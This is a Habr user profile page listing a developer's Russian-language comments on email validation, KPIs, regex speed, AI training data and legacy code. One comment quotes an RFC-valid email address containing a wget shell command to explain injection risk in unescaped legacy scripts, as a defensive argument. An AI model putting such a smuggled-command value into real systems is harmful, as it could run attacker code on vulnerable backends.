Обновить
4
Konstantin Safonov@kasthack_phoenix

Пользователь

2
Подписчики
Отправить сообщение

Как раз потому, что соответствие RFC — это не желаемый эффект и предпочтительные правила валидации жёстче из-за сторонних ограничений. root@localhost — валидный имейл по RFC, но пропускать его вы не хотите почти никогда.

одно для логина
другое - для отправки писем
Проблема решена.

Рано. У вас теперь два поля для PII masking в логах, анонимизации для стейджа, интеграций с партнёрами. Это набор источников для интереснейших багов.

Больше того, у вас часто в системе много мест, куда можно засунуть почту — вам придётся поддерживать это везде, чтобы избежать конфузов вида: "у организации не была привязана почта, так что произошёл фоллбек на отправку письма пользователю-руководителю, но он отвалился, потому его личный адрес не прошел валидацию".

шарящих ребят кривая валидация - это как красная тряпка

Опять же, какое пресечение этих ребят с красными тряпками и decision makers?

Винить RFC в том, что твой древний баш-скрипт можно взломать

Проблема в том, что он как раз не мой — это обычно какая-то вендорская система, к которой есть доступ по API. В глубинах систем может быть IBM'овский мейнфрейм с семибитной кодировкой, который подавится юникодным имейлом, если его не канонизировать; На другом интеграции конце может быть asp.net framework приложение, которое режет запросы, когда видит в нем что-то похожее на csrf. Я пишу код для большого американского банка и там такие приколы на каждом шагу.

Вокруг множество хрупких систем, и пускать к себе на вход только чистые данные — валидная стратегия, если вы не хотите потом ругаться с полусотней вендоров, которые не принимают ваши запросы, потому что их реализация кривая. Lowest common denominator никогда не подводит.

Любые данные от юзера надо экранировать перед использованием. Всегда.

Давайте учиться читать:

когда адрес покинет ваше RFC-compliant приложение и в глубинах легаси окажется в неэкранированном виде в баш-скрипте.

С вашей стороны всё может быть прекрасно, но ломается оно в чужом коде. Удачи править приложение, написанное на смеси C, древнего диалекта лиспа и, почему-то, D(у нас такое реально есть. Вендор-аутсорсер просто конченный), которое дергает другие команды, но не справляется с экранированием.

Внедрите нормализацию. Перед проверкой уникальности и сохранением в БД приводите email к каноническому виду. Это решит проблему с дублированием аккаунтов.

Так вы определитесь, как пользователь: вы хотите, чтобы у вас аккаунт был привязан к основному email или к алиасу? Если к алиасу, то система должна оригинальный email хранить, чтобы на него письма слать, как минимум, так что о нормализации речи быть не может. Если в канонической форме, то и плюсы всякие можно блокировать спокойно — в канонической форме из быть не может.

Представим, что ваш сервис разрешил регистрацию на user+test1@gmail.com. Что произойдет, если тот же пользователь попытается зарегистрироваться на user+test2@gmail.com

Ну, то есть, мы сначала разрешили регистрацию с email в неканонический форме, придумав себе проблему на ровном месте, а потом героически её решаем?

это ваша упущенная прибыль или потерянный лид

Сколько реальных пользователей пользуются этим функционалом и уйдут без него? Сколько денег приносят эти пользователи?

Про калечный регекс можно вообще много рассуждать. Как-то читал статью по валидацию почт от Райана Кастелуччи, у которого есть доступный(я написал ему туда письмо и получил ответ) email

`wget${ifs}r.vc/ghe`@ryanc.org

Он соответствует RFC, но пропускать такие адреса — это хитрый способ выстрелить себе в ногу в моменте, когда адрес покинет ваше RFC-compliant приложение и в глубинах легаси окажется в неэкранированном виде в баш-скрипте.

Ещё и контролы глючные. У меня половина оценок свойственно/не свойственно проставилась в случайные значения во время скролла, а поменять результаты нельзя.

На окладе 300-500 очень часто задачи — чистить Авгиевы конюшни, про которые писать-то стыдно.

Сам разгребаю сорокалетнее легаси, написанное реднеками-шизофрениками, за верх этой вилки.

Запрещено, но местами и дальше шли.

Когда я там работал, в моём проекте были вообще только хранимые процедуры на каждый селект.

Теперь для каждого gui, собирающего командную строку для нижележащего инструмента, чтобы использовать одну из его функций, будет новость, состоящая из перевода README?

Если мы говорим про KPI, то какой KPI на внедрение / эксплуатацию этой системы?

У меня есть лёгкое подозрение, что значение, пересчитанное в конкретные единицы валюты, у неё отрицательное за счёт вливания ресурсов в разработку, реальную производительность людей она не повышает и только тешит эго микроменеджера, продавившего внедрение. Причина достаточно проста: любая нетривиальная работа

  • опирается на внешние параметры, не зависящие от сотрудника(меняющиеся бизнес-требования у задач для разработчиков, экономическая ситуация у продажников, физические аварии у опсов, etc)

  • имеет неограниченный потенциал для срезания углов для выкручивания конкретных метрик(например, саппорт может выкидывать сложные тикеты, чтобы сохранить SLA)

  • имеет возможности для накручивания метрик(например, разработчик может себе создавать / требовать по десять задач на каждый чих, вроде исправления сломавшегося дэшборда в графане)

Как результат, нормальные конторы проводят ревью раз в год / полугодие / квартал и могут кикнуть людей, отлынивающих от работы, что в большинстве случаев происходит на испытательном сроке, где нет юридического барьера, а не собирают бесконечное синтетических метрик, отражающих погоду на Марсе.

На планете порядка 400-500 миллионов банкоматов.

Сорс? Это один банкомат на 20 человек, включая младенцев и жителей стран третьего мира, что выглядит подозрительно.

Гугл мне подсказывает, что их примерно в 150 раз меньше, но, вероятно, он галлюцинирует.

tl;dr: регулярки в сишном движке быстрее любого кода, написанного на интерпретируемом недоязыке.

Теперь я могу ответить на вопрос: как же быстрее всего обнаружить гласную в строке? Похоже, при помощи битовой карты на C.

Скорее всего, даже не биткарта, а какой-нибудь трюк с avx512, чтобы сканировать 64 байта за такт. SIMDJSON это для парсинга JSON использует.

Действительно господский способ — это не за такси платить, а снять номер в отеле в соседнем здании от офиса, чтобы далеко не ходить.

Везде так.
Во вполне западном Accenture, зелёный выпускник — это senior analyst.

Он данные не наизусть запоминает, а выдирает из них закономерности, и запоминает уже их.

Однако, чтобы заставить его не вставлять копирайты ID software в фукнцию быстрого поиска обратного квадратного корня, Microsoft пришлось руками дописывать фильтры для копайлота.

По этой причине всякий Альтман и так против раскрытия источников данных для обучающих выборок.

Да у всех этих AI-компаний вообще забавная позиция: когда они закопирайченные данные берут — это "обучение, мало чем отличающееся от человеческого. Вы же не запрещается художникам ходить в музеи?", но стоит какую-нибудь компании потюнить свою нейронку уже об их чат, как сразу поднимается визг убиваемой свиньи-копилки про нарушение интеллектуальных прав и даже национальную безопасность.

Всё наоборот делают:

  • Фото из внутренней галереи телефона гуглофотографии невероятно настойчиво пытаются вытащить в облако. Стоит пропустить очередной запрос после обновления/смены телефона, как на гуглодиске все оказывается.

  • Локации, которые я хочу иметь в облаке, удаляют. У меня в картах были треки перемещений за 10+ лет, хотя сменилось полдюжины телефонов.

Вы еще запрещенных лгбт* забыли упомянуть) недорабатываете))

Про ЛГБТ Волож у себя в биографии не писал, а вот казахско-израильские корни — его личное изобретение:

https://istories.media/stories/2024/04/15/wiki-pravka/

  • Каким образом следующий разработчик должен догадаться о существовании альтернативной версии? Даже с существующей историей смотреть на миллион версий назад — сложная задача.

  • История не всегда сохраняется. Я работаю над проектом, где в части файлов есть пометки о копирайте / задачах из начала 90-х и даже конца 80-х, но первый коммит в гите — 2019-й год с текстом "Import source code from the vendor". Если там что-то было раньше, то заглянуть в историю невозможно.

Всю историю культура не мешала, а потом что-то случилось:

1900-2020
1900-2020

Все слышали про демографический переход, но если взглянуть на последнее десятилетие, то рождаемость продолжает падать. Культура поменялась настолько за шесть лет, что фертильность рухнула в полтора раза?

2018-2023
2018-2023

Для такого эффекта достаточно триммером за пять баксов пройтись перед зеркалом и это займёт меньше времени, чем поход в барбершоп.

Информация

В рейтинге
Не участвует
Дата рождения
Зарегистрирован
Активность

Специализация

Backend Developer
Lead
От 500 000 ₽
.NET
SQL
Elasticsearch
Redis
Apache Kafka
Kubernetes